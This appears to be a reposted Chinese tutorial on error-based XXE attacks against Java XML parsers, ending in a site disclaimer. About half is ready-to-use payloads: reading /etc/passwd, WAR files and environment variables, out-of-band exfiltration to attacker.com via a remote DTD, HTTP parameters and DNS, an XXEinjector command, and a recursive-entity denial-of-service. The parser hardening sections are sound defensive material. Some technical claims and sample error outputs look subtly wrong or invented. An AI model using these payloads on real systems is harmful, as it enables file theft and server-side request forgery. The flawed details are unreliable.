一、漏洞原理与攻击场景
XXE(XML External Entity)漏洞的核心在于 XML 解析器未禁用外部实体加载,攻击者可构造恶意 XML 读取系统文件或发起 SSRF 攻击。Error Based XXE特指通过 错误消息泄露敏感数据的攻击方式,常见于以下场景:
-
调试模式开启:应用在错误响应中返回详细堆栈信息
-
异常处理不当:捕获异常后未正确过滤敏感内容
-
文件路径泄露:通过错误信息推断文件是否存在或部分内容
二、攻击代码实战案例
1. 基础 XXE 构造
漏洞代码示例(使用 DOM 解析器):
// 不安全的 XML 解析 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(new InputSource(request.getInputStream())); // 直接解析用户输入
攻击载荷:
<!-- 读取 /etc/passwd --> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
触发结果:若文件内容包含 XML 非法字符(如<``&
),解析器抛出异常并返回错误信息,其中可能包含文件片段。
2. Error Based 高级利用
场景:当直接回显被过滤时,通过 错误消息外带数据。
攻击载荷设计:
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; %error; ]>
远程 DTD 文件(evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval;
攻击流程:
-
解析器加载远程 DTD
-
尝试将
/etc/passwd
内容拼接到不存在的文件路径 -
系统抛出
FileNotFoundException
,错误信息中包含文件路径(即泄露数据)
3. 绕过字符过滤技巧
场景:当特殊字符被转义时,使用 CDATA 包裹+错误触发:
<!DOCTYPE root [ <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % wrapper "<!ENTITY % combined '%start;%file;%end;'>"> %wrapper; ]> <root>&combined;</root>
触发错误:若 CDATA 内容包含非法结构,解析错误信息将暴露部分数据。
三、Java 各 XML 解析器的安全配置
1. DocumentBuilderFactory 加固
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // 禁用 DTD dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用外部实体 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);
2. SAXParserFactory 加固
SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
3. XMLInputFactory 加固(StAX)
XMLInputFactory xif = XMLInputFactory.newInstance(); xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
四、高级绕过与检测技巧
1. UTF-16 编码绕过
攻击载荷:
<?xml version="1.0" encoding="UTF-16BE"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
检测逻辑:
// 检查编码类型 if (!"UTF-8".equals(request.getCharacterEncoding())) { throw new InvalidInputException("Unsupported encoding"); }
2. XInclude 攻击
漏洞代码:
// 启用 XInclude 的解析 dbf.setXIncludeAware(true);
攻击载荷:
<root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd" parse="text"/> </root>
五、防御方案与检测工具
1. 全局安全配置(推荐)
在jaxp.properties
文件中设置:
javax.xml.accessExternalDTD=deny javax.xml.accessExternalSchema=deny
2. 自定义 EntityResolver
db.setEntityResolver(new EntityResolver() { @Override public InputSource resolveEntity(String publicId, String systemId) { throw new SAXException("Blocked external entity: " + systemId); } });
3. 自动化检测工具
# 使用 XXEinjector 进行测试 ruby XXEinjector.rb --host=attacker.com --path=/etc/passwd --file=req.xml # 使用 OWASP ZAP 主动扫描
六、错误信息处理最佳实践
try { // XML 解析逻辑 } catch (ParserConfigurationException | SAXException | IOException e) { // 记录日志但不返回详情 logger.error("XML parsing error", e); throw new GenericException("Invalid XML format"); // 返回通用错误 }
总结与攻击验证
攻击验证步骤:
-
发送恶意 XML 探测错误响应:
POST /api/parse HTTP/1.1 Content-Type: application/xml <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>&xxe;</root>
-
观察响应是否包含文件内容片段:
<错误信息> org.xml.sax.SAXParseException: The entity "xxe" was referenced, but not declared. File "/etc/passwd" line 1: root:x:0:0:root:/root:/bin/bash... </错误信息>
关键防御点:
-
始终禁用 DTD 和外部实体
-
严格限制 XML 输入编码格式
-
使用白名单校验 XML 结构
-
禁止详细错误信息回显
Error Based XXE 的深度技巧
在之前的讲解中,讲解了XXE攻击的常见手段,但Java生态中还存在一些更隐蔽、更依赖特定环境的技巧。以下通过实际代码案例,深入讲解几种高级Error Based XXE利用手法:
技巧一:利用Java网络协议特性外带数据
场景:当目标服务器禁用file://
但允许其他协议时,可通过Java支持的netdoc://
协议结合错误信息外带数据。
<!-- 攻击Payload --> <!DOCTYPE root [ <!ENTITY % file SYSTEM "netdoc:///etc/passwd"> <!ENTITY % error "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %error; ]> <root></root>
原理剖析:
-
netdoc://
是Java独有的协议,行为类似file://
但部分环境可能未禁用 -
通过将文件内容作为URL参数发送到攻击者服务器实现数据外带
Java解析代码示例(易受攻击版本):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); InputSource is = new InputSource(new StringReader(xml)); Document doc = db.parse(is); // 此处触发解析
攻击结果:
HTTP请求记录: GET /?data=root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...
技巧二:利用JAR协议读取WEB-INF敏感文件
场景:针对Java Web应用,通过JAR协议读取WAR包内部文件。
<!DOCTYPE root [ <!ENTITY % exploit SYSTEM "jar:file:///var/lib/tomcat/webapps/app.war!/WEB-INF/web.xml"> <!ENTITY % error "<!ENTITY % exfil SYSTEM 'file:///invalid/%exploit;'>"> %error; ]>
关键点:
-
jar:file://
协议可访问压缩包内文件 -
通过构造非法路径触发错误信息泄露文件内容
防御盲区:
许多WAF不会检测jar:
协议的使用,且该协议在Java中默认启用
技巧三:利用XInclude触发错误回显
场景:当XXE直接利用被防御,但允许XInclude时。
<root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd" parse="text"/> </root>
Java解析代码(错误配置):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setXIncludeAware(true); // 启用XInclude dbf.setNamespaceAware(true); Document doc = dbf.newDocumentBuilder().parse(new InputSource(new StringReader(xml)));
错误信息提取:
当文件包含特殊字符(如<
)时,解析器会抛出格式错误:
org.xml.sax.SAXParseException: The element type "root" must be terminated by the matching end-tag "</root>". (实际因为/etc/passwd内容破坏了XML结构)
数据提取技巧:
-
使用PHP过滤器编码内容避免格式破坏
-
分多次读取文件不同片段
技巧四:利用字符集转换错误泄露数据
场景:通过强制字符集转换引发编码错误外带数据。
<!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % conv "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;?force_charset=ISO-8859-1'>"> %conv; ]> <root></root>
Java环境特性:
-
当文件内容包含非ISO-8859-1字符时,转换失败触发错误
-
错误信息中会显示原始字节内容
典型错误信息:
java.io.CharConversionException: Invalid UTF-8 middle byte 0x3a (offending bytes: 72 6F 6F 74 3A 78 3A 30) // "root:x:0"的HEX表示
自动化提取工具:
# 错误信息HEX转字符串 hex_str = "72 6F 6F 74 3A 78 3A 30" bytes_obj = bytes.fromhex(hex_str.replace(" ", "")) print(bytes_obj.decode('utf-8')) # 输出: root:x:0
技巧五:利用DTD递归实体耗尽内存
场景:通过构造递归实体触发JVM内存错误泄露环境信息。
<!DOCTYPE root [ <!ENTITY % a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY % b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"> %a; ]>
攻击效果:
java.lang.OutOfMemoryError: Java heap space (通过调整堆内存参数,可能泄露JVM配置信息)
信息利用:
-
根据错误类型判断服务器内存配置
-
结合时间盲注判断递归是否成功
防御加固方案
// 安全配置示例 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // 禁用DTD dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用XInclude dbf.setXIncludeAware(false); // 禁用外部实体 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // 启用安全处理 dbf.setExpandEntityReferences(false);
综合攻击策略
-
协议探测顺序
file://
→netdoc://
→jar://
→http://localhost
(SSRF组合利用) -
错误信息过滤绕过
-
使用Base64编码:
file:///etc/passwd
→php://filter/read=convert.base64-encode/resource=/etc/passwd
-
分块提取:
<!ENTITY % p1 SYSTEM "file:///etc/passwd%00"
(利用空字节截断)
-
-
时间差盲测
通过响应时间判断文件是否存在:<!ENTITY % hugefile SYSTEM "file:///dev/zero"> <!ENTITY % loop "<!ENTITY % send SYSTEM 'http://attacker.com/?delay=5000'>">
实战检测流程
-
环境探测
发送测试Payload判断XML解析器类型:<!DOCTYPE test [<!ENTITY % v SYSTEM "file:///dev/null"> %v;]>
-
协议探测
依次尝试不同协议读取/proc/self/environ
(Linux环境变量) -
数据提取
使用分块编码+错误组合攻击逐步获取敏感文件内容 -
隐蔽外传
将数据嵌入DNS查询或HTTP头字段:<!ENTITY % exfil SYSTEM 'http://attacker.com/.%file;.evil.com'>
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)